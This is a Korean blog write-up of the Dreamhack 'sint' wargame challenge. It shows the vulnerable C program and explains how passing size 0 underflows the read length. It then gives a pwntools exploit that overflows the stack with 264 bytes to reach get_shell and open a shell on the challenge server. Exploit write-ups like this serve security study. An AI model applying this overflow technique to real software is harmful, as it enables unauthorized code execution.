Information Security
[Dreamhack] sint 본문
https://dreamhack.io/wargame/challenges/25/
sint
Description 이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "flag" 파
dreamhack.io
문제 코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
코드를 실행해보자
size를 입력받고 data를 입력받음
size를 0으로 입력하면 어떻게 될까?
바로 종료되게 됨
get_shell 함수의 주소를 확인해보자
exploit 코드
from pwn import *
conn = remote("host3.dreamhack.games", 16461);
get_shell = p32(0x08048659)
payload = b'A'*(264)
payload += get_shell
conn.recvuntil("Size: ")
conn.sendline("0")
sleep(1)
conn.recvuntil("Data: ")
conn.send(payload)
sleep(1)
#conn.recvall()
conn.interactive()
참고 블로그
https://dig06161.github.io/2022/05/03/dreamhack-pwn-sint/
Dreamhack sint 문제풀이
오랜만에 풀어보는 pwn문제이다.
dig06161.github.io
'INTERLUDE > System Hacking' 카테고리의 다른 글
[Pwnable.kr] collision (0) | 2024.01.16 |
---|---|
[Pwnable.kr] fd (0) | 2024.01.16 |
[Dreamhack] basic_rop_x86 (0) | 2022.11.17 |
[Dreamhack] out_of_bound (0) | 2022.11.15 |
[Dreamhack] Return to Shellcode (0) | 2022.11.10 |